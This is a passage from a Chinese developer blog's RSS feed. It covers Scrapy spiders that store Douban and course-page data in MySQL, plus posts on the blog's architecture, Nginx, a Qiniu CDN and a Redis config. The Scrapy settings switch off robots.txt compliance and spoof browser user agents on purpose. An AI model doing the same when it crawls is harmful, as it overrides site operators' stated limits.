&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;爬虫核心：basic.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import scrapy
from urllib.parse import urljoin
from scrapy.loader import ItemLoader
from douban.items import DoubanItem
from scrapy.loader.processors import MapCompose, Join
from scrapy.http import Request


class BasicSpider(scrapy.Spider):
    name = &amp;quot;basic&amp;quot;
    allowed_domains = [&amp;quot;web&amp;quot;]
    start_urls = (
        'https://movie.douban.com/top250',
    )

    def parse(self, response):
        next_selector = response.xpath('//span[@class=&amp;quot;next&amp;quot;]/a/@href')
        for url in next_selector.extract():
            yield Request(urljoin(response.url, url), dont_filter=True)

        item_selector = response.xpath('//div[@class=&amp;quot;hd&amp;quot;]/a/@href')
        for url in item_selector.extract():
            yield Request(urljoin(response.url, url), callback=self.parse_item, dont_filter=True)


    def parse_item(self, response):
        &amp;quot;&amp;quot;&amp;quot; This function parses a property page
        @url http://movie.douban.com/subject/26683723
        @return items 1
        @scrapes name average director screenwriter star genre runtime initialReleaseDate summary
        &amp;quot;&amp;quot;&amp;quot;

        item_loader = ItemLoader(item=DoubanItem(), response=response)

        item_loader.add_xpath('name', '//*[@property=&amp;quot;v:itemreviewed&amp;quot;]/text()')                                 # 电影名
        item_loader.add_xpath('image_url', '//*[@rel=&amp;quot;v:image&amp;quot;]/@src')                                          # 海报
        item_loader.add_xpath('average', '//*[@property=&amp;quot;v:average&amp;quot;]/text()')                                   # 评分
        item_loader.add_xpath('director', '//div[@id =&amp;quot;info&amp;quot;]/span[1]/span[@class=&amp;quot;attrs&amp;quot;]/a/text()')           # 导演
        item_loader.add_xpath('screenwriter', '//div[@id =&amp;quot;info&amp;quot;]/span[2]/span[@class=&amp;quot;attrs&amp;quot;]/a/text()',
                              Join())                                                                           # 编剧
        item_loader.add_xpath('star', '//div[@id =&amp;quot;info&amp;quot;]/span[@class=&amp;quot;actor&amp;quot;]/span[@class=&amp;quot;attrs&amp;quot;]/a/text()',
                              Join())                                                                           # 主演
        item_loader.add_xpath('genre', '//*[@property=&amp;quot;v:genre&amp;quot;]/text()',
                              Join())                                                                           # 类型
        item_loader.add_xpath('runtime', '//*[@property=&amp;quot;v:runtime&amp;quot;]/text()')                                   # 片长
        item_loader.add_xpath('initialReleaseDate', '//*[@property=&amp;quot;v:initialReleaseDate&amp;quot;]/text()')             # 上映年限
        item_loader.add_xpath('summary', '//*[@property=&amp;quot;v:summary&amp;quot;]//text()',
                              MapCompose(lambda i: i.replace(' ', '')),
                              MapCompose(lambda i: i.replace('\n', '')),
                              MapCompose(lambda i: i.replace('\u3000', '')),
                              Join())                                                                           # 简介

        return item_loader.load_item()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以清楚的看到双向爬取的过程：next_selector是下一页的url，item_selector是列表中每条的url跳转&lt;/p&gt;
&lt;p&gt;保存文件的：pipelines.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# -*- coding: utf-8 -*-

# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html


import pymysql
from scrapy.conf import settings

class DoubanPipeline(object):
    def process_item(self, item, spider):
        host = settings['MYSQL_HOST']
        user = settings['MYSQL_USER']
        psd = settings['MYSQL_PASSWORD']
        db = settings['MYSQL_DB']
        c = settings['CHARSET']
        con = pymysql.connect(host=host, user=user, passwd=psd, db=db, charset=c)
        cur = con.cursor()
        sql = (&amp;quot;insert into movie(name, image_url, average, director, screenwriter, star, genre, runtime, initialReleaseDate, summary) &amp;quot;
             &amp;quot;values(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)&amp;quot;)
        list = [item['name'], item['image_url'], item['average'], item['director'], item['screenwriter'],
            item['star'], item['genre'], item['runtime'], item['initialReleaseDate'], item['summary']]
        cur.execute(sql, list)
        con.commit()
        cur.close()
        con.close()
        return item
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置文件：settings.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;BOT_NAME = 'douban'

SPIDER_MODULES = ['douban.spiders']
NEWSPIDER_MODULE = 'douban.spiders'

# 文件编码格式
FEED_EXPORT_ENCODING = 'utf-8'


# Crawl responsibly by identifying yourself (and your website) on the user-agent
#USER_AGENT = 'douban (+http://www.yourdomain.com)'
USER_AGENT = 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0'

# Obey robots.txt rules
ROBOTSTXT_OBEY = False

# Configure maximum concurrent requests performed by Scrapy (default: 16)
CONCURRENT_REQUESTS = 10

# Mysql数据库的配置信息
MYSQL_HOST = '127.0.0.1'
MYSQL_DB = 'douban'             # 数据库名字
MYSQL_USER = 'root'             # 数据库账号
MYSQL_PASSWORD = '你数据库的密码'         # 数据库密码
MYSQL_PORT = 3306               # 数据库端口
CHARSET = 'utf8'                # 格式


# 当使用pipeline保存抓取内容时，需要设置相应的pipeline类
ITEM_PIPELINES = {
    'douban.pipelines.DoubanPipeline': 300,
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>爬虫相关</category>
      <pubDate>Fri, 10 May 2019 00:47:16 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/20.html</comments>
    </item>
    <item>
      <title>Scrapy实战：单页列表爬取</title>
      <link>https://www.baby7blog.com/myBlog/19.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190509/1557403517447021492.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Scrapy实战：单页列表爬取&lt;/h1&gt;

&lt;p&gt;python课的作业，挺久没用Scrpay了，正好趁这个机会再熟悉熟悉。&lt;/p&gt;
&lt;h2&gt;题目：&lt;/h2&gt;
&lt;p&gt;爬取网页信息，网址为：http://47.104.173.82/neu_emotion/Home/index/showPartData.html&lt;/p&gt;
&lt;p&gt;要求：爬取信息如下图红色框内所示，包括（序号，音频编号，专家ID，专家名，感受，音频URL），根据爬取信息自行设计MySql数据库表，并将爬取信息存储数据库。&lt;/p&gt;
&lt;h2&gt;分析：&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190509/1557403482602051022.png" alt="列表截图" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190509/1557403517447021492.png" alt="html结构截图" /&gt;&lt;/p&gt;
&lt;p&gt;通过分析可以得到列表中有几百条信息，每条信息在一个class为table  table-striped的&lt;table&gt;中，&lt;table&gt;中有七条信息，前六条是我们需要的，前四条都是相同类型的&lt;b&gt;，所以可以用差不多的XPath表达式，只需要更改数组的下标，第五条是在多条&lt;option&gt;中选择带selected的，最后是在&lt;audio&gt;标签中获取src属性。&lt;/p&gt;
&lt;p&gt;使用//*[@class=&amp;quot;table  table-striped&amp;quot;]获取这几百条&lt;table&gt;，然后./tbody/tr/td[1]/b/text()中更改下标可以取得前四条信息，./tbody/tr/td/select/option[@selected]/text()可以获得被选中的信息，最后./tbody/tr/td/audio/@src获取路径信息。&lt;/p&gt;
&lt;h2&gt;过程：&lt;/h2&gt;
&lt;h3&gt;数据库设计：&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190509/1557404771167019459.png" alt="数据库设计" /&gt;&lt;/p&gt;
&lt;p&gt;前四个为整形，剩下三个为varchar&lt;/p&gt;
&lt;p&gt;创建Scrpay项目：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-linux"&gt;$ scrapy startproject grade
$ cd grade
$ scrapy genspider basic web
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先是items.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# -*- coding: utf-8 -*-

# Define here the models for your scraped items
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/items.html

from scrapy.item import Item, Field


class GradeItem(Item):
    Id = Field()            # 序号
    AudioId = Field()       # 音频编号
    ExpertId = Field()      # 专家ID
    ExpertName = Field()    # 专家名
    Feel = Field()          # 感受
    AudioURL = Field()      # 音频URL
    pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;爬取的信息是这六个&lt;/p&gt;
&lt;p&gt;然后是爬虫的核心：basic.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# -*- coding: utf-8 -*-
import scrapy
from grade.items import GradeItem


class BasicSpider(scrapy.Spider):
    name = &amp;quot;basic&amp;quot;
    allowed_domains = [&amp;quot;'web'&amp;quot;]
    start_urls = (
        'http://47.104.173.82/neu_emotion/Home/index/showPartData.html',
    )

    def parse(self, response):
        &amp;quot;&amp;quot;&amp;quot; This function parses a property page
        @url http://movie.douban.com/subject/26683723
        @return items 1
        @scrapes name average director screenwriter star genre runtime initialReleaseDate summary
        &amp;quot;&amp;quot;&amp;quot;

        for each in response.xpath('//*[@class=&amp;quot;table  table-striped&amp;quot;]'):
            item = GradeItem()
            item['Id'] = each.xpath(&amp;quot;./tbody/tr/td[1]/b/text()&amp;quot;).extract()[0]                              # 序号
            item['AudioId'] = each.xpath(&amp;quot;./tbody/tr/td[2]/b/text()&amp;quot;).extract()[0]                         # 音频编号
            item['ExpertId'] = each.xpath(&amp;quot;./tbody/tr/td[3]/b/text()&amp;quot;).extract()[0]                        # 专家ID
            item['ExpertName'] = each.xpath(&amp;quot;./tbody/tr/td[4]/b/text()&amp;quot;).extract()[0]                      # 专家名
            item['Feel'] = each.xpath(&amp;quot;./tbody/tr/td/select/option[@selected]/text()&amp;quot;).extract()[0]        # 感受
            item['AudioURL'] = each.xpath(&amp;quot;./tbody/tr/td/audio/@src&amp;quot;).extract()[0]                         # 音频URL
            yield item
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来是将爬取的信息保存到MySQL中：pipelines.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;# -*- coding: utf-8 -*-
import pymysql
from scrapy.conf import settings


class GradePipeline(object):
    def process_item(self, item, spider):
        host = settings['MYSQL_HOST']
        user = settings['MYSQL_USER']
        psd = settings['MYSQL_PASSWORD']
        db = settings['MYSQL_DB']
        c = settings['CHARSET']
        con = pymysql.connect(host=host, user=user, passwd=psd, db=db, charset=c)
        cur = con.cursor()
        sql = &amp;quot;INSERT INTO test VALUES(%s,%s,%s,%s,%s,%s)&amp;quot;
        item_list = [item['Id'].replace(&amp;quot;序号:&amp;quot;, &amp;quot;&amp;quot;), item['AudioId'].replace(&amp;quot;#&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot;音频编号&amp;quot;, &amp;quot;&amp;quot;),
                     item['ExpertId'].replace(&amp;quot;专家ID#&amp;quot;, &amp;quot;&amp;quot;), item['ExpertName'].replace(&amp;quot;专家名字_&amp;quot;, &amp;quot;&amp;quot;), item['Feel'],
                     item['AudioURL']]
        cur.execute(sql, item_list)
        con.commit()
        cur.close()
        con.close()
        return item
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的数据库连接信息我放在了settings.py中，后面就是个插入SQL语句，在插入之前去掉多余的信息&lt;/p&gt;
&lt;p&gt;最后是配置文件settings.py&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;BOT_NAME = 'grade'

SPIDER_MODULES = ['grade.spiders']
NEWSPIDER_MODULE = 'grade.spiders'


# Obey robots.txt rules
ROBOTSTXT_OBEY = False

# Mysql数据库的配置信息
MYSQL_HOST = '127.0.0.1'
MYSQL_DB = 'pythonscrapy'       # 数据库名字
MYSQL_USER = 'root'             # 数据库账号
MYSQL_PASSWORD = '你自己的密码'         # 数据库密码
MYSQL_PORT = 3306               # 数据库端口
CHARSET = 'utf8'                # 格式

# Override the default request headers:
DEFAULT_REQUEST_HEADERS = {
    &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;&amp;quot;,
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
}

# Configure item pipelines
# See http://scrapy.readthedocs.org/en/latest/topics/item-pipeline.html
ITEM_PIPELINES = {
    'grade.pipelines.GradePipeline': 300,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ROBOTSTXT_OBEY = False是为了不遵守爬虫协议&lt;img src="http://img.baidu.com/hi/jx2/j_0013.gif" alt="啦啦啦" /&gt;，后面的grade.pipelines.GradePipeline代表pipelines.py中的GradePipeline，当爬虫爬取到信息后会调用GradePipeline的process_item保存。&lt;/p&gt;</description>
      <category>爬虫相关</category>
      <pubDate>Thu, 09 May 2019 04:18:48 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/19.html</comments>
    </item>
    <item>
      <title>七仔的博客架构</title>
      <link>https://www.baby7blog.com/myBlog/18.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190503/1556857224358060666.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;七仔的博客架构&lt;/h1&gt;

&lt;h2&gt;一、博客架构图&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190503/1556857224358060666.png" alt="架构图" /&gt;&lt;/p&gt;
&lt;h2&gt;二、具体介绍&lt;/h2&gt;
&lt;h3&gt;（一）、Web服务器框架&lt;/h3&gt;
&lt;p&gt;采用SSM（Spring MVC + Spring + MyBatis）的架构，整合三个框架开发&lt;/p&gt;
&lt;h4&gt;1、Spring&lt;/h4&gt;
&lt;p&gt;Spring是一个开源框架，Spring是于2003 年兴起的一个轻量级的Java 开发框架，由Rod Johnson 在其著作Expert One-On-One J2EE Development and Design中阐述的部分理念和原型衍生而来。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而，Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言，任何Java应用都可以从Spring中受益。 简单来说，Spring是一个轻量级的控制反转（IoC）和面向切面（AOP）的容器框架。&lt;/p&gt;
&lt;h4&gt;2、SpringMVC&lt;/h4&gt;
&lt;p&gt;Spring MVC属于SpringFrameWork的后续产品，已经融合在Spring Web Flow里面。Spring MVC 分离了控制器、模型对象、分派器以及处理程序对象的角色，这种分离让它们更容易进行定制。&lt;/p&gt;
&lt;h4&gt;3、MyBatis&lt;/h4&gt;
&lt;p&gt;MyBatis 本是apache的一个开源项目iBatis, 2010年这个项目由apache software foundation 迁移到了google code，并且改名为MyBatis 。MyBatis是一个基于Java的持久层框架。iBATIS提供的持久层框架包括SQL Maps和Data Access Objects（DAO）MyBatis 消除了几乎所有的JDBC代码和参数的手工设置以及结果集的检索。MyBatis 使用简单的 XML或注解用于配置和原始映射，将接口和 Java 的POJOs（Plain Old Java Objects，普通的 Java对象）映射成数据库中的记录&lt;/p&gt;
&lt;h3&gt;（二）、数据库主主备份&lt;/h3&gt;
&lt;p&gt;下面是一幅介绍MySQL主从备份过程的图：&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.baby7blog.com/ueditor/jsp/upload/image/20190503/1556857759011055496.jpg" alt="主从备份" /&gt;&lt;/p&gt;
&lt;p&gt;主从备份分成三步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;master将改变记录到二进制日志(binary log)中（这些记录叫做二进制日志事件，binary log events）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;slave将master的binary log events拷贝到它的中继日志(relay log)；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;slave重做中继日志中的事件，将改变反映它自己的数据。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;而主主备份就是将主从配置倒过来再配置一遍，这样便可以实现MySQL双机热备份。&lt;/p&gt;
&lt;h3&gt;（三）、七牛云融合CDN加速&lt;/h3&gt;
&lt;p&gt;详情见（&lt;a href="https://www.baby7blog.com/myBlog/16.html"&gt;https://www.baby7blog.com/myBlog/16.html&lt;/a&gt;）&lt;/p&gt;
&lt;h3&gt;（四）、Nginx的配置&lt;/h3&gt;
&lt;p&gt;详情见（&lt;a href="https://www.baby7blog.com/myBlog/17.html"&gt;https://www.baby7blog.com/myBlog/17.html&lt;/a&gt;）&lt;/p&gt;
&lt;h3&gt;（五）、UEditor的使用及Word的导入&lt;/h3&gt;
&lt;p&gt;详情见（&lt;a href="https://www.baby7blog.com/myBlog/12.html"&gt;https://www.baby7blog.com/myBlog/12.html&lt;/a&gt;）&lt;/p&gt;</description>
      <category>后端技术</category>
      <pubDate>Fri, 03 May 2019 04:37:45 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/18.html</comments>
    </item>
    <item>
      <title>在我的网站上使用Nginx</title>
      <link>https://www.baby7blog.com/myBlog/17.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fs6miUWXBT1kHs4L3cmd_yVznutS" width="800"&gt;&lt;br&gt;
&lt;h1&gt;在我的网站上使用Nginx&lt;/h1&gt;

&lt;h2&gt;一、介绍&lt;/h2&gt;
&lt;p&gt;Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，在BSD-like 协议下发行。其特点是占有内存少，并发能力强，事实上nginx的并发能力确实在同类型的网页服务器中表现较好(百度百科)&lt;/p&gt;
&lt;h2&gt;二、实现方法&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190503/1556855092787008117.png" alt="架构" /&gt;&lt;/p&gt;
&lt;h3&gt;1、负载均衡方式&lt;/h3&gt;
&lt;p&gt;| 轮询            | 默认方式      |
|---------------|-----------|
| weight        | 权重方式      |
| ip_hash       | 依据ip分配方式  |
| least_conn    | 最少连接方式    |
| fair（第三方）     | 响应时间方式    |
| url_hash（第三方） | 依据URL分配方式 |&lt;/p&gt;
&lt;h3&gt;2、缓存&lt;/h3&gt;
&lt;p&gt;为静态资源开启缓存能够较少服务器带宽的消耗。&lt;/p&gt;
&lt;h3&gt;3、文件服务器&lt;/h3&gt;
&lt;p&gt;实现动静分离。&lt;/p&gt;
&lt;h3&gt;4、Web防火墙&lt;/h3&gt;
&lt;p&gt;加固Web应用程序，抵御例如SQL侵入等攻击。&lt;/p&gt;
&lt;h3&gt;5、SSL&lt;/h3&gt;
&lt;p&gt;将合格的SSL证书配置在服务器中即可使用https访问网站。&lt;/p&gt;
&lt;h2&gt;三、具体实现&lt;/h2&gt;
&lt;h3&gt;1、负载均衡方式&lt;/h3&gt;
&lt;p&gt;由于我的两个Web服务器的性能并不相同，所以我选择了加权轮询的方式，就是上面列表中的权重方式。&lt;/p&gt;
&lt;h3&gt;2、缓存&lt;/h3&gt;
&lt;p&gt;缓存有很多种，要想实现网站的快速访问，缓存必不可少，Nginx默认支持缓存，在配置文件中加上路径和相应的数据即可。详情见（&lt;a href="https://www.jianshu.com/p/6db58cce7c8d"&gt;https://www.jianshu.com/p/6db58cce7c8d&lt;/a&gt;）&lt;/p&gt;
&lt;h3&gt;3、文件服务器&lt;/h3&gt;
&lt;p&gt;我的个人网站实现了动静分离，静态资源保存在文件服务器中，静态资源分为两部分，一部分是服务器部署时就存在的文件，另一部分是我随时可能更新修改的图片。实际上使用Tomcat实现，使用Nginx的请求转发转发端口，之所以要转发是因为要实现网站全部请求为https。&lt;/p&gt;
&lt;h3&gt;4、Web防火墙&lt;/h3&gt;
&lt;p&gt;实际上由于种种原因我还没有实现，这里只是先放着，后面会加上的。&lt;/p&gt;
&lt;h3&gt;5、SSL&lt;/h3&gt;
&lt;p&gt;SSL证书配置在Nginx中，网站的入口为Nginx服务器，Nginx转发https请求为http到各个tomcat上。&lt;/p&gt;</description>
      <category>前端技术</category>
      <pubDate>Fri, 03 May 2019 03:48:17 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/17.html</comments>
    </item>
    <item>
      <title>七牛云融合CDN加速</title>
      <link>https://www.baby7blog.com/myBlog/16.html</link>
      <description>&lt;img src="https://www.qiniu.com/assets/banner/banner-cdn-right-zh-fc67ff6b66e30168d1865163cb9a9294af40308741cd39d3eb8e83b40e71a82c.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;七牛云融合CDN加速&lt;/h1&gt;

&lt;h2&gt;一、介绍&lt;/h2&gt;
&lt;p&gt;CDN的全称是Content Delivery Network，即内容分发网络。CDN的基本原理是广泛采用各种缓存服务器，将这些缓存服务器分布到用户访问相对集中的地区或网络中，在用户访问网站时，利用全局负载技术将用户的访问指向距离最近的工作正常的缓存服务器上，由缓存服务器直接响应用户请求。&lt;/p&gt;
&lt;p&gt;七牛CDN是在传统CDN基础上实现的对数据网络加速进一步优化的融合管理服务。融合优质节点,可监控,智能调度,为用户提供连续,稳定快速的内容分发服务。&lt;/p&gt;
&lt;h2&gt;二、实现方法&lt;/h2&gt;
&lt;p&gt;七牛云的用户拥有10G的对象存储空间及http流量，将二级域名绑定到对象空间上，这样就可以通过二级域名访问对象存储空间的内容。设置镜像存储，源站资源（文件/图片等）根据初次访问自动同步到七牛云存储，数据平滑迁移。可使用绑定的自定义域名访问镜像存储的源站资源。(https要收费，详情见&lt;a href="https://www.qiniu.com/prices?source=fusion"&gt;https://www.qiniu.com/prices?source=fusion&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190503/1556851396656026882.png" alt="架构" /&gt;&lt;/p&gt;
&lt;h2&gt;三、具体实现&lt;/h2&gt;
&lt;h3&gt;1.创建对象存储空间&lt;/h3&gt;
&lt;h3&gt;2.绑定二级域名到对象存储空间（&lt;a href="https://developer.qiniu.com/fusion/kb/1322/how-to-configure-cname-domain-name"&gt;https://developer.qiniu.com/fusion/kb/1322/how-to-configure-cname-domain-name&lt;/a&gt;）&lt;/h3&gt;
&lt;h3&gt;3.比如我的域名是baby7blog.com，二级域名可以是*.baby7blog.com，*处可以是一串英文，可以自己定义，然后在域名服务商处（阿里云或别的）配置域名解析，详情参见上面链接。&lt;/h3&gt;
&lt;h3&gt;4.在镜像存储中设置镜像源，比如：&lt;a href="http://www.baby7blog.com/"&gt;http://www.baby7blog.com/&lt;/a&gt;，详情见&lt;a href="https://developer.qiniu.com/kodo/kb/1376/seven-cattle-image-storage-instruction-manuals"&gt;https://developer.qiniu.com/kodo/kb/1376/seven-cattle-image-storage-instruction-manuals&lt;/a&gt;&lt;/h3&gt;
&lt;h3&gt;5.访问网站&lt;/h3&gt;
&lt;h3&gt;6.这时对象存储空间应该有一些资源存到了里面，再次访问的速度就会快很多。&lt;/h3&gt;</description>
      <category>前端技术</category>
      <pubDate>Thu, 02 May 2019 07:03:16 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/16.html</comments>
    </item>
    <item>
      <title>在SSM中使用Redis实现高并发抢座</title>
      <link>https://www.baby7blog.com/myBlog/15.html</link>
      <description>&lt;img src="https://static.open-open.com/news/uploadImg/20160618/20160618093614_122.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;在SSM中使用Redis实现高并发抢座&lt;/h1&gt;

&lt;h2&gt;一、 Redis的配置&lt;/h2&gt;
&lt;p&gt;Maven配置：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;!-- Redis --&amp;gt;
&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;redis.clients&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;jedis&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;2.9.0&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.springframework.data&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;spring-data-redis&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;1.8.4.RELEASE&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;spring-redis.xml配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-xml"&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;beans xmlns=&amp;quot;http://www.springframework.org/schema/beans&amp;quot;
       xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot; xmlns:p=&amp;quot;http://www.springframework.org/schema/p&amp;quot;
       xmlns:context=&amp;quot;http://www.springframework.org/schema/context&amp;quot;
       xmlns:cache=&amp;quot;http://www.springframework.org/schema/cache&amp;quot;
       xsi:schemaLocation=&amp;quot;http://www.springframework.org/schema/beans
                        http://www.springframework.org/schema/beans/spring-beans-4.2.xsd
                        http://www.springframework.org/schema/context
                        http://www.springframework.org/schema/context/spring-context-4.2.xsd
                        http://www.springframework.org/schema/cache
                        http://www.springframework.org/schema/cache/spring-cache-4.2.xsd&amp;quot;&amp;gt;
 
 
    &amp;lt;!-- 加载Properties文件 --&amp;gt;
    &amp;lt;bean id=&amp;quot;redisProperties&amp;quot; class=&amp;quot;org.springframework.beans.factory.config.PropertyPlaceholderConfigurer&amp;quot;&amp;gt;
        &amp;lt;property name=&amp;quot;locations&amp;quot;&amp;gt;
            &amp;lt;list&amp;gt;
                &amp;lt;value&amp;gt;classpath:redis.properties&amp;lt;/value&amp;gt;
            &amp;lt;/list&amp;gt;
        &amp;lt;/property&amp;gt;
        &amp;lt;property name=&amp;quot;ignoreUnresolvablePlaceholders&amp;quot; value=&amp;quot;true&amp;quot; /&amp;gt;
    &amp;lt;/bean&amp;gt;
 
    &amp;lt;!-- redis 相关配置 --&amp;gt;
    &amp;lt;bean id=&amp;quot;poolConfig&amp;quot; class=&amp;quot;redis.clients.jedis.JedisPoolConfig&amp;quot;&amp;gt;
        &amp;lt;property name=&amp;quot;maxIdle&amp;quot; value=&amp;quot;$ {redis.maxIdle}&amp;quot; /&amp;gt;
        &amp;lt;property name=&amp;quot;maxWaitMillis&amp;quot; value=&amp;quot;$ {redis.maxWait}&amp;quot; /&amp;gt;
        &amp;lt;property name=&amp;quot;testOnBorrow&amp;quot; value=&amp;quot;$ {redis.testOnBorrow}&amp;quot; /&amp;gt;
    &amp;lt;/bean&amp;gt;
 
    &amp;lt;bean id=&amp;quot;jedisConnectionFactory&amp;quot; class=&amp;quot;org.springframework.data.redis.connection.jedis.JedisConnectionFactory&amp;quot;
          p:host-name=&amp;quot;$ {redis.host}&amp;quot; p:port=&amp;quot;$ {redis.port}&amp;quot; p:password=&amp;quot;$ {redis.pass}&amp;quot; p:pool-config-ref=&amp;quot;poolConfig&amp;quot;/&amp;gt;
 
    &amp;lt;bean id=&amp;quot;redisTemplate&amp;quot; class=&amp;quot;org.springframework.data.redis.core.StringRedisTemplate&amp;quot;&amp;gt;
        &amp;lt;property name=&amp;quot;connectionFactory&amp;quot; ref=&amp;quot;jedisConnectionFactory&amp;quot;/&amp;gt;
        &amp;lt;!-- 序列化方式 建议key/hashKey采用StringRedisSerializer。 --&amp;gt;
        &amp;lt;property name=&amp;quot;keySerializer&amp;quot;&amp;gt;
            &amp;lt;bean class=&amp;quot;org.springframework.data.redis.serializer.StringRedisSerializer&amp;quot;/&amp;gt;
        &amp;lt;/property&amp;gt;
        &amp;lt;property name=&amp;quot;hashKeySerializer&amp;quot;&amp;gt;
            &amp;lt;bean class=&amp;quot;org.springframework.data.redis.serializer.StringRedisSerializer&amp;quot;/&amp;gt;
        &amp;lt;/property&amp;gt;
        &amp;lt;property name=&amp;quot;valueSerializer&amp;quot;&amp;gt;
            &amp;lt;bean class=&amp;quot;org.springframework.data.redis.serializer.StringRedisSerializer&amp;quot; /&amp;gt;
        &amp;lt;/property&amp;gt;
        &amp;lt;property name=&amp;quot;hashValueSerializer&amp;quot;&amp;gt;
            &amp;lt;bean class=&amp;quot;org.springframework.data.redis.serializer.StringRedisSerializer&amp;quot;/&amp;gt;
        &amp;lt;/property&amp;gt;
    &amp;lt;/bean&amp;gt;
 
&amp;lt;/beans&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;redis.properties文件：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-properties"&gt;# Redis settings
# server IP
redis.host=127.0.0.1
# server port
redis.port=6379
# server pass
redis.pass=
# use dbIndex
redis.database=0
# 控制一个pool最多有多少个状态为idle(空闲的)的jedis实例
redis.maxIdle=300
# 表示当borrow(引入)一个jedis实例时，最大的等待时间，如果超过等待时间(毫秒)，则直接抛出JedisConnectionException；
redis.maxWait=3000
# 在borrow一个jedis实例时，是否提前进行validate操作；如果为true，则得到的jedis实例均是可用的
redis.testOnBorrow=true
# 编码
redis.charset=GBK
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;二、 在服务器启动前加载用户信息到Redis&lt;/h2&gt;
&lt;h3&gt;（一）、此处实现了在服务器启动之前先加载用户信息到Redis，这里提供实现方法：&lt;/h3&gt;
&lt;p&gt;1.新建初始化类并完成加载代码&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
 
public class Init implements HttpSessionListener {
 
    static {
        //此处是你需要提前运行的代码
    }
 
    @Override
    public void sessionCreated(HttpSessionEvent arg0) {}
 
    @Override
    public void sessionDestroyed(HttpSessionEvent arg0) {}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.在web.xml配置类路径&lt;/p&gt;
